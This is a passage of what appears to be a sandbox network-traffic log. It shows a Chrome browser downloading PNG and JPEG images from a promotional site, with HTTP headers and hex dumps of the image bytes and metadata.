2024-10-03 16:19:50 UTC	663	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 5d 00 00 00 aa 08 03 00 00 00 89 6f 1f 12 00 00 02 fa 50 4c 54 45 00 00 00 0c 0e 0f f2 f2 f2 f2 f1 f1 ee ee ed 6e 6e 6e 0c 0e 0f ea ea e9 f0 f0 f0 e1 e1 df e6 e6 e4 27 24 26 78 78 78 74 61 61 9f 9f 9f b4 b4 b4 71 71 71 c2 c2 c2 23 21 24 d6 d6 d6 80 7f 80 ba ba bb 1d 1a 1e 76 76 77 a6 a6 a7 d1 d1 d1 34 33 34 41 42 44 53 54 55 ad ad ae 4b 4a 4b 27 26 29 cd cc cd e4 e9 d7 e9 e5 de c6 c6 c6 2a 2b 2d 5a 5a 5b 97 97 98 bb db 93 86 86 87 6a 69 6a 96 3e 5a 91 91 92 ee ec e6 6e 6e 6e cc a6 b2 50 4f 50 5e 5e 5f 63 63 64 72 69 6c 31 2f 31 8b 8a 8b 19 16 1a c4 91 a1 a8 5f 76 6e 6d 6f 1c 1d 1f 61 46 4f 12 14 14 34 34 35 e2 c5 cc 3a 3a 3b 77 77 78 78 78 78 dd ed c8 78 78 78 16 18 19 b2 d7 7f 76 76 77 76 76 77 d5 Data Ascii: PNGIHDR]oPLTEnnn'$&xxxtaaqqq#!$vvw434ABDSTUKJK'&)*+-ZZ[jij>ZnnnPOP^^_ccdril1/1_vnmoaFO445::;wwxxxxxxxvvwvvw
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 78 79 8a c5 3a cb 02 32 16 13 17 14 11 15 ff ff ff 8c c6 3f 20 1c 1d 99 17 42 1e 1a 1b b7 0c 38 22 1e 21 bd 09 37 c2 05 33 b0 0e 39 86 c3 35 8b 12 25 8d c4 41 a9 11 3a c6 02 31 8f cb 3f ae 08 2b ba 05 2d a4 a6 a7 a4 0d 2a 90 c8 44 a1 13 3a 96 11 28 9c 06 26 8c 16 3d 88 0d 1e 61 61 64 84 b5 40 af b1 b2 26 29 1e 6f 95 38 ba bc bd 37 43 23 4f 66 2d 2d 35 20 61 80 34 7a a5 3d 46 4e 2c f6 e2 e7 ff f2 27 aa 87 2f 7b 66 31 ee 71 11 ab 00 00 00 c8 74 52 4e 53 00 fa 05 08 0f fe f6 14 0b 1f 19 f1 8c 07 62 4b 63 3c f6 26 85 44 f8 93 5a 2c db c6 b4 52 c0 e6 31 39 2f 37 dc af 69 95 7d 9d f7 70 25 88 74 bb a8 a2 18 e4 77 fa 8e cd 96 e7 10 f2 d1 45 ca 3b 5c 46 73 ee b4 25 4d 52 a9 b3 32 e7 d0 68 f9 d9 f2 58 57 a6 61 d6 f4 48 f8 7f 5e de bc de 84 49 25 fe e3 85 d1 27 fd Data Ascii: xy:2? B8"!7395%A:1?+-*D:(&=aad@&)o87C#Of--5 a4z=FN,'/{f1qtRNSbKc<&DZ,R19/7i}p%twE;\Fs%MR2hXWaH^I%'
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: af ba 75 dd e7 e9 6f 7d eb 4c 9f a4 56 6f b8 fa fe eb 6e bd 95 a6 0b b6 6d 64 6c db b1 e3 87 9f 5d 98 33 ce 13 08 04 22 91 48 c0 6a 68 b5 d9 3c 01 c0 36 9d 15 71 b4 c7 03 06 b5 49 46 9b 3d 75 a5 cd 0d 0d 8d e5 de 00 39 5b 3c 70 1b c6 ac 32 3e fa ec 6f 7f fe da 6b 45 c0 ef 5f 7b ed b5 be ee d7 80 ee 3e f8 a3 e8 f7 45 f3 80 87 36 5d f8 ee d9 e7 28 2e 80 9f ee 63 cf cd 31 e9 0b fe 3f b3 4c 05 d8 f5 ad e7 ed 3a 1f b0 7c 16 ed 4a 03 56 26 d6 eb ab 17 59 c8 6c 51 d4 85 2b 37 dc 0f 51 ec ad 34 a3 b0 71 e3 8e 1b 5e bf 6e 25 31 10 a9 ef eb ec 03 ea 23 44 20 51 51 51 d1 d9 d9 d9 d7 6c 27 79 50 53 59 51 51 55 55 55 51 51 37 e1 fd 89 8a 92 21 ca b0 db 49 66 89 35 12 72 96 79 f2 77 eb 76 2d 6a 95 f3 e8 f3 cf fe f2 9d 57 5c 78 e1 15 ef 7a cb 3b df b9 2b d3 fd ce 77 f6 Data Ascii: uo}LVonmdl]3"Hjh<6qIF=u9[<p2>okE_{>E6](.c1?L:\|JV&YlQ+7Q4q^n%1#D QQQl'yPSYQQUUUQQ7!If5rywv-jW\xz;+w
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6b 7f fb ea d5 ab db fb 49 01 bc ab e8 a1 4b 0b b6 2b aa 15 72 02 63 47 4f 1f d1 62 d6 3d 94 dd 1a f8 69 74 f7 b1 93 87 69 06 76 e4 bc 5d e7 93 5d 69 54 8a b4 92 29 a8 c2 5c 69 a1 58 41 d3 94 46 22 12 68 a5 ca 9c 10 90 5a da 73 92 ac 0a 34 50 a2 64 7e 01 76 7d e3 e5 ab b8 0c 97 de f2 ca 0f 7e f0 83 5b 1e 7e f8 ce ef 3c f8 c8 97 6e a4 5c 4e 59 b1 14 00 e7 02 36 15 b0 c1 07 f0 e8 42 da bc 82 0e b8 91 f1 a5 2f 3e f8 9d 4f 3c fc f0 0f 80 bf e3 7f 81 5f 61 76 25 22 7e f7 50 d6 a4 a5 9a 71 93 7a 5b a5 85 4c c7 15 90 18 90 8e 37 37 73 bb 36 5a 14 b0 eb ac 63 57 8f d7 99 28 55 89 12 0b 15 2c 57 04 02 d7 e7 ff f5 3c 2a 74 f5 fa fe c9 ec da 56 98 5d 37 63 64 5c 08 97 16 15 5d 7a 66 ec 3a c2 dc 9a 41 8f 22 9a 66 85 2b e6 d7 f9 98 19 50 ec aa c5 a2 2a f9 8e 7e 73 d9 Data Ascii: kIK+rcGOb=itiv]]iT)\iXAF"hZs4Pd~v}~[~<n\NY6B/>O<_av%"~Pqz[L77s6ZcW(U,W<tV]7cd\]zf:A"f+P~s
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 2c 34 0d a4 88 86 ea 8f d7 d2 41 83 4d 4d b5 7a 0e 34 14 e6 03 fd 35 e1 61 61 d5 40 a2 69 78 28 6b 69 5a 67 00 ad 6b 49 25 87 b0 67 68 78 b8 c4 2b 38 d3 5e 5a 32 8c fb 66 61 7c 30 65 21 66 8a 62 71 d5 d5 85 34 37 cb 9d 39 21 27 30 45 f5 ac df 30 b9 ba dd 2c 76 fd d5 a3 cf df 26 b7 2b b2 66 12 bb ae 59 de df db 4b eb c3 66 59 02 18 4e 99 dd 82 b1 2b fd 2c 2c 9d 85 fb e0 46 e3 89 b4 42 1f 76 ad 59 43 1b 91 c5 45 4f 14 94 19 d8 7f f4 04 04 ae 98 64 85 9f fd 47 0f 53 b1 6a 91 29 fd 13 76 6f d1 75 b0 27 20 41 a0 e9 e9 c8 c9 b1 fd d8 2b b3 ab 62 9e 26 76 55 14 b0 ab 94 d1 92 c4 94 76 f5 70 bb 6a 3f 9b cc a5 be cc c4 67 ec 2e 3f b7 ed fa 56 85 cc 10 af 96 1a f0 4e 2a e0 8e 81 56 3b 99 2b ca b8 5d 9d f2 2f 67 9a 6f cb af 24 54 53 bb 5e 27 da 75 ef 1f 0c ec e3 ec Data Ascii: ,4AMMz45aa@ix(kiZgkI%ghx+8^Z2fa\|0e!fbq479!'0E0,v&+fYKfYN+,,FBvYCEOdGSj)vou' A+b&vUvpj?g.?VN*V;+]/go$TS^'u
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 9b 13 a1 c0 b9 6f d7 ec bc 56 90 48 71 15 0f 94 93 b9 c3 89 72 2f f6 93 73 13 35 c7 ae 87 72 ed ba f7 4b 84 62 59 b9 ed fb 3b ee 38 a8 4b f7 8e 45 44 e3 4b 60 57 21 ef fa 57 c1 ae 5f c9 b5 ab b9 82 cb 31 e8 aa 1c e6 91 63 59 1d b7 6b 32 d4 d8 c4 5b a8 47 ad 95 30 8e 4b 37 e6 2c 73 d6 35 74 46 0c 35 06 86 3b ed 44 b1 c2 33 28 6c fe 4a 81 7f 59 1a 86 58 67 83 6a 36 ab 76 2b 51 62 fc 91 41 a7 d5 4c 87 a4 58 b0 eb 73 e8 4b 63 87 ab 6a cc 14 b5 dc c7 9c ed 9a 71 e8 fa 31 32 05 4b 74 7d b9 ef 39 fd e8 a3 f2 70 17 ed ba 1e ff 4e 8a 76 95 c7 a6 5b b3 ed 5b f0 f7 7d 12 40 cf f6 24 81 5e f9 8d 5b a4 d2 05 ba 24 9b 0a 66 6e 57 9c d0 da 8d b3 59 27 c7 c7 b9 42 47 c6 d2 e9 b1 55 1f bc e4 82 2b 6f fe e4 cd 37 5f 79 c1 25 1f bc e9 b9 97 c0 b0 3c a6 85 7b 8e 8d 6a 7e 3d Data Ascii: oVHqr/s5rKbY;8KEDK`W!W_1cYk2[G0K7,s5tF5;D3(lJYXgj6v+QbALXsKcjq12Kt}9pNv[[}@$^[$fnWY'BGU+o7_y%<{j~=
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: d7 42 1f 16 85 81 ce 01 d3 00 5c f3 af d7 11 33 93 d9 63 5d b9 e3 86 2f 64 ed fa b7 57 0f 1d ca b1 eb cf 96 2e fa fe 1f 35 9e 04 bb e2 5c 97 20 75 fb 9d 07 f6 ed 13 ed 0a 7a fd a2 39 5b df f5 3a 0f d1 49 0d 32 e8 da 27 bf 26 da 08 fc 28 f7 a5 14 68 e0 71 6d 94 10 57 2d 7e b4 12 23 21 bc a9 2a a2 7a 3c 9e 40 7c 18 8b c2 ca ed 9a c8 2e 97 45 70 75 97 03 0f 43 30 74 89 9e ce b7 c0 c0 47 89 16 ff b5 75 11 11 31 7a 44 51 1a 33 0a 0f 48 ed 8a b7 f4 80 3a f1 a6 c5 13 6a 16 06 f9 60 dd ae 4b a4 76 ed ca 95 26 8e ef d2 7a 7a 85 e7 c9 ed ba a9 68 86 76 4d 8f 9f 3a 31 ca d7 b9 1e 81 b4 40 7a 8c 46 a6 e9 6b 2f 53 c8 64 54 2f 03 95 32 9b 42 72 60 0f 00 71 ef 91 a3 fb 0b 8d 5d c5 17 a6 70 b1 bf 22 c9 bb 4a ed 5a 43 c7 b0 eb fa 58 99 2d ff cc 40 c2 cd 0b 83 97 f4 55 55 Data Ascii: B\3c]/dW.5\ uz9[:I2'&(hqmW-~#!*z<@\|.EpuC0tGu1zDQ3H:j`Kv&zzhvM:1@zFk/SdT/2Br`q]p"JZCX-@UU
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 3b 2c 05 c5 ae 5f c0 52 00 f6 3b 27 da f5 f1 3f 8a 3c 8e 76 dd b9 52 7c e3 e5 87 0e e6 c6 ae 97 f3 ac da c7 c1 ae 57 5b 09 42 85 8a e1 29 cb 2e e3 ea d4 ee 80 b7 5e 25 8a 42 23 4f ac fa ea 0a e3 04 97 99 18 80 6a 5a 52 86 2a ed 32 bb d6 f9 58 6f 32 42 14 e9 c1 87 b8 31 0c 99 f9 3e ad 6f e8 7a 44 8b 2e 90 16 6d 5d 83 93 fa 92 7b 45 bb a2 3b 91 3c ed 1a 24 73 67 d7 77 17 bd 23 4f bb 62 e8 4a 23 4f cc 9c 8e 51 b9 ae 12 e5 ba f0 93 cb ae bd fd 26 ca 2f 2e b9 b9 da 6a d0 2b b8 35 0d ab b9 4e f0 e8 75 cf 71 9a 1a 98 ad 5d 33 c9 58 0a b6 b0 c2 1f e5 95 41 d4 a4 2f 46 f2 b7 2b b1 c5 92 a0 54 83 60 83 29 75 6a bb fa b9 91 4b 2d 4a b6 68 ec 20 8d e2 ab d4 73 db ae 21 d3 24 85 b2 4a b5 85 04 f6 b0 6c b7 6c 94 35 46 89 86 dd c4 15 d6 2c 54 c3 ae a9 6c d3 17 05 b5 49 Data Ascii: ;,_R;'?<vR\|W[B).^%B#OjZR*2Xo2B1>ozD.m]{E;<$sgw#ObJ#OQ&/.j+5Nuq]3XA/F+T`)ujK-Jh s!$Jll5F,TlI
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 39 9e 6e d4 6b 34 e4 0c 39 aa 9a 86 28 4d 29 f1 65 25 f1 10 d4 31 e8 1c 66 5d 83 a1 99 4c 6a 3d 66 ac 85 85 04 05 d3 e5 c6 8f 1f 15 a6 b5 e4 76 35 06 af cb 85 0d 58 28 d7 36 bc 9e dc ae fd 86 85 0c cb 8d 99 8a 9e 05 33 b1 eb 85 45 64 6a 96 e9 76 1d d7 f6 c0 9e c0 33 5c 56 5d 46 90 cb 68 62 95 db 55 93 e6 08 fc 3b 7d d3 cd 8a 96 93 fd 60 9a b5 c2 33 98 a4 20 73 9b 16 ec 6a 25 39 c4 b8 5d bd 46 d7 97 cb ec ea ee 8b 79 84 93 5f d8 7d 39 eb a8 23 dd dc ae b9 b1 8b a2 46 42 de aa 92 51 d4 6b c2 b0 7a c5 98 4c f0 f0 47 ec 19 cd 82 75 c1 7d a9 b9 b1 eb f7 88 c0 45 d4 9e 00 9c 01 c3 67 42 e4 49 84 c2 e6 b5 82 39 f2 0c 89 bf 9e 2b 49 0e 35 26 4c d7 0a fe c3 4c a8 9c a8 dc ae 88 b3 c2 64 ca d1 6b 95 a8 ce 66 a3 5d d5 62 a9 2f 43 fc 3b 35 12 49 48 2b c9 18 90 0e 3e Data Ascii: 9nk49(M)e%1f]Lj=fv5X(63Edjv3\V]FhbU;}`3 sj%9]Fy_}9#FBQkzLGu}EgBI9+I5&LLdkf]b/C;5IH+>
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 2c 40 fa 26 cc ba 2a 57 8e 81 5d 59 c1 ec 65 d5 e6 6c f9 96 db c1 b6 6c dc 25 2a 36 dd 9d 66 d5 5c 8e 52 6b f1 fd 5a b3 b5 2b c6 58 d6 86 41 3e af 94 30 88 94 b5 25 c5 38 25 14 e6 45 01 62 04 71 74 d6 f1 3a 19 c6 b9 b0 a8 22 b5 ab f8 8d f0 7a ce 4f 7e 59 41 ce a2 5d 71 5e 4b 8c 3b 2b 70 05 96 b9 15 b3 06 6a 9e 8e 36 85 0a b1 2b 10 a9 40 bd 62 a6 54 6e d7 88 49 ba 05 c2 25 cf 0c 94 4f 66 d7 8a 82 ed 6a a6 89 57 ed 64 2d b4 ab 6c c9 00 f2 e4 21 48 0c 60 6a 20 bb 70 fa e1 03 18 ba 82 5d 41 af 77 f2 a7 c1 a4 d6 5a 43 85 ac 50 63 33 10 8f fb 89 86 a7 94 b5 34 47 78 ed af 66 8e 93 30 22 e5 dd 25 83 03 94 21 77 32 46 1c 71 d6 d9 08 bd 22 2e de 1c 4f 98 e1 05 57 30 30 3c 45 3c 75 d1 60 d8 ed 73 97 84 bb 1b 72 ca 1e 05 12 f5 49 e8 f2 95 24 bb 1b 43 28 ed d9 d9 15 Data Ascii: ,@&W]Yell%6f\RkZ+XA>0%8%Ebqt:"zO~YA]q^K;+pj6+@bTnI%OfjWd-l!H`j p]AwZCPc34Gxf0"%!w2Fq".OW00<E<u`srI$C(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49829	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:50 UTC	842	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/2ndcar-kit.jpg HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:50 GMT Content-Type: image/jpeg Content-Length: 1356303 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:15 GMT CF-Cache-Status: HIT Age: 60155 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1baz15CBa1oWLlihbkCyfy%2Bzi92A2XWHNFhWNhduCtLe3OHEfBnBD4TGlLAIpdVaXDSMc%2BUlMTcQVVAyYilxGbs7VZaUZ2onl%2BmoUz8k09Jvz2CNgjCp9b41S%2BYeF3lpdnBe9JWYtKM0vnfc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4190be45436a-EWR
2024-10-03 16:19:50 UTC	656	IN	Data Raw: ff d8 ff e1 19 55 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 0c 00 00 01 03 00 01 00 00 00 6c 07 00 00 01 01 03 00 01 00 00 00 28 04 00 00 02 01 03 00 03 00 00 00 9e 00 00 00 06 01 03 00 01 00 00 00 02 00 00 00 12 01 03 00 01 00 00 00 01 00 00 00 15 01 03 00 01 00 00 00 03 00 00 00 1a 01 05 00 01 00 00 00 a4 00 00 00 1b 01 05 00 01 00 00 00 ac 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 31 01 02 00 1f 00 00 00 b4 00 00 00 32 01 02 00 14 00 00 00 d3 00 00 00 69 87 04 00 01 00 00 00 e8 00 00 00 20 01 00 00 08 00 08 00 08 00 80 fc 0a 00 10 27 00 00 80 fc 0a 00 10 27 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 36 3a 31 31 20 31 35 3a 34 37 3a 32 35 00 00 04 00 00 90 07 00 04 00 00 00 30 Data Ascii: UExifII*l((12i ''Adobe Photoshop 21.0 (Windows)2024:06:11 15:47:250
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 Data Ascii: 3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 79 ab be a6 75 43 8d 65 cd cc 39 79 2c 6e e6 d4 e6 06 31 ce 68 03 d3 63 dc ed db b6 8d 95 b9 68 fd 59 fa b2 7a 67 4d b3 33 36 b2 cc db 9c 5d b1 c4 17 57 59 9a d9 5b b6 fb 7d 6b 1c f7 da f5 d5 3a 1a cd f6 10 c6 0d 37 3b 89 3f f5 4a 96 75 af 2f 65 22 43 60 38 b4 e8 64 92 3f 49 ff 00 a4 d0 c5 3c b9 4f 04 8d c6 f8 8f f0 5f 9a 38 b0 c4 ce 11 e1 3f 28 1b fa 8f e9 34 6e 6f b3 68 02 7b 4f e2 16 26 75 17 b6 e6 dc cb 48 65 7f e0 83 47 b9 c3 e8 d9 ea 1f d2 37 6f f2 56 d5 c4 86 3d f5 b3 7b c3 74 6e e0 dd c4 7d 16 7a 96 4f a7 b9 53 b8 39 f5 03 63 03 1e 44 ba b2 43 b6 9f 07 39 be d7 2b 60 53 9c 4d 9b 79 df ae 16 3f 33 a4 33 29 c7 de db f7 59 e3 b9 ed 7b 5f ff 00 4f 6a c1 c0 b1 b5 f4 f6 bc b8 56 40 7e db 0f e6 9b 1d e8 6f fe c3 5d b9 74 7d 5b 18 db 83 95 8c 25 c6 d6 0d Data Ascii: yuCe9y,n1hchYzgM36]WY[}k:7;?Ju/e"C`8d?I<O_8?(4noh{O&uHeG7oV={tn}zOS9cDC9+`SMy?33)Y{_OjV@~o]t}[%
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: d7 6e 7d 6e b1 d8 19 19 15 40 6d d6 31 e1 ce 03 bf a4 e6 59 4f fd 3f fb 6d 67 75 8f aa 3d 6b ec 87 d6 23 13 01 af df 98 1a e3 73 9f 61 da df b4 5b b7 d2 dd 5f b5 8d f7 7d 07 fe 91 23 38 9e a1 43 1c c6 f1 34 87 aa f5 3a 3a dd 17 64 50 3d dd 36 e1 4e f9 93 65 17 87 d9 4d ce ff 00 d0 aa ae ff 00 d8 ba d5 7e 83 d4 07 4f eb 98 d7 b8 91 46 57 ea d6 fe ec 59 a3 5e ed 3f 32 ef 49 eb 63 a4 fd 56 15 74 8c ab 68 ca 75 b8 ef c4 b1 a3 1d ec da 4d ac 73 33 19 6b b6 bb 6f a8 d7 e3 ec ff 00 49 e9 fe 89 61 e0 f4 2e a5 d6 ab b6 bc 16 88 c7 fe 72 e7 b8 31 8d 96 b9 d4 b0 b8 fe 7d db 7f 47 ed f4 ff 00 d3 3e ba d1 12 08 94 48 dc 57 67 bd b2 c7 0d db dc 1a 19 c9 71 0d 0d d7 bb 9d b5 ad 45 3d 7f a4 b2 83 73 f2 ea 73 9a 35 ad 8e 0e 71 77 76 b1 bf 9c b9 cc f7 e5 e4 66 51 83 d4 1a Data Ascii: n}n@m1YO?mgu=k#sa[_}#8C4::dP=6NeM~OFWY^?2IcVthuMs3koIa.r1}G>HWgqE=ss5qwvfQ
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: a4 b6 db ba a3 b3 3d 52 5d b5 ed 7f a5 53 b1 7d 3a da ec 5a ec 6d 7f a1 fb 4f f3 94 fa 96 7f 3d b1 13 96 30 03 8c 81 67 80 7f 5a 5d bf c2 5a 63 c5 20 23 d6 8f f7 78 9c 1f ac b5 b2 9e b1 5f 51 c3 f4 eb 6e 61 35 e7 ee 13 5b 83 b6 ef 7d be a6 f6 7a 2d c6 6f f3 4c 58 dd 23 23 07 18 3e 87 7a 67 d6 79 b2 bb 2b 25 a3 dd 3b 6b 70 77 b6 b7 b1 bf 41 77 8c e8 56 67 0c 70 ea 1d 4e 38 3e ab ef b0 cb ac 71 6e f0 f1 45 90 eb 6b f5 99 e9 be db 7f 9d ae cf e6 fd 25 95 f5 9f ea c7 49 cb 65 79 b8 99 d8 f4 be 9c 73 57 d9 a9 65 6e 17 59 8f ba db fd 36 51 6b 5d eb 32 87 ed db 5d 4f d9 ff 00 6a 3f 46 aa fd ef 09 f4 64 98 8c e5 2e 1e 18 8e 29 6b ea 87 14 63 c5 38 ff 00 84 e8 48 fd d3 2c 0e 12 32 ca 35 42 47 e5 be 2c 79 63 e9 97 b7 0f 77 e7 ff 00 39 07 23 20 64 5f d5 30 05 75 b9 Data Ascii: =R]S}:ZmO=0gZ]Zc #x_Qna5[}z-oLX##>zgy+%;kpwAwVgpN8>qnEk%IeysWenY6Qk]2]Oj?Fd.)kc8H,25BG,ycw9# d_0u
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 8b f6 3c 82 db 6c c1 c9 01 d6 0d ad 16 3c 53 6c df 5d 39 94 35 cf ae dc 9c 5b 0d 94 7a b8 b7 7e 93 d1 a9 fe ae f5 a7 4e 45 16 d0 ea 5b 60 fb 5b ea 7d 72 f6 be b2 5e da b6 6f a6 ab 37 5a ca 3d bb b7 ff 00 36 cf f4 b6 2b 99 18 2f 7e 41 c3 f5 ae a0 38 9b f0 f2 2a 71 06 b7 8d 2c a9 ed fe 6e ca ff 00 e0 ee 6a 15 98 ff 00 58 dd 8d 6b 5b e8 37 3e 97 31 d5 65 34 0f 4f 25 80 9f 53 1f 26 a7 07 59 46 f6 fd 3f 4d ff 00 4f f9 bb 52 84 e8 c8 88 10 76 97 0f f5 7a 2e 89 fb c4 22 25 90 03 09 70 70 e5 f9 b1 fe 8f 14 67 fa 58 ff 00 97 03 8a df ab 99 75 35 bb 33 6e 0f c7 32 c7 82 0b b6 16 fb d8 c6 1f 63 ee b2 e6 ef 66 eb 3d 0f 63 2b ff 00 08 ba 3f ab dd 3f 2f 0b a6 d5 5e 7b c5 99 44 97 be 35 d9 3f 46 af 53 e9 5c ea db fe 1a cf 7b d6 83 18 08 6b 9e c6 b6 c0 24 86 ea 01 3f 4b Data Ascii: <l<Sl]95[z~NE[`[}r^o7Z=6+/~A8*q,njXk[7>1e4O%S&YF?MORvz."%ppgXu53n2cf=c+??/^{D5?FS\{k$?K
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6e 67 62 6f 6f 6c 00 00 00 00 0e 63 72 6f 70 52 65 63 74 42 6f 74 74 6f 6d 6c 6f 6e 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 03 f2 00 00 00 00 00 0a 00 00 ff ff ff ff ff ff 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 8a 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 Data Ascii: ngboolcropRectBottomlongcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM8BIM'
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 0c 00 00 00 02 3f f0 00 00 00 00 00 00 38 42 49 4d 04 11 00 00 00 00 00 01 01 00 38 42 49 4d 04 14 00 00 00 00 00 04 00 00 00 ba 38 42 49 4d 04 0c 00 00 00 00 17 eb 00 00 00 01 00 00 00 a0 00 00 00 52 00 00 01 e0 00 00 99 c0 00 00 17 cf 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 Data Ascii: ?8BIM8BIM8BIMRAdobe_CMAdobed
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 96 cf fb a4 fb 3d 7a 7f 49 f6 0b 2d af f4 6a 2e 63 14 b2 c6 e1 c3 ee 55 1b 1f ce 44 33 72 b9 a1 88 f0 e4 e2 f6 ef 88 10 7f 9a 91 eb fd d6 c7 d5 1c 9f b5 57 7f 4e cc af d3 af 21 a4 3a 8e 20 b4 fe 8a fa 67 77 b9 be c5 d2 74 ab db 92 f0 72 1c 6e c8 c3 b0 62 e6 39 e3 e9 be b6 7d a1 99 0d ff 00 8e a4 7e 91 9f f0 6b 23 a6 f4 5c ac 7b ea c8 a8 d5 73 0c 6d ca f5 83 81 ac fd 37 d5 55 75 b5 df d4 dd ff 00 5c 5b 3d 39 be 9f 59 cb c7 6e 8d ca 02 e3 e0 5c c0 df fa 7b 3d 44 de 5b dd c7 8c 46 63 87 d4 45 78 49 77 3b ed 4f 27 16 32 27 a0 26 43 c3 bb ff d0 e0 99 56 40 11 53 4b c1 83 b9 80 eb fd af eb 26 b6 8c cb 4e d2 dd 8d 69 91 b8 fe 46 b5 4e da 72 9f 69 17 17 fa d0 4f a6 7d 8d 68 e3 46 93 fa 36 b1 3b 46 43 59 0c 8d 80 16 ee 1e 71 2d d7 e0 a3 a8 8d 6a d9 4f 11 d2 f8 58 Data Ascii: 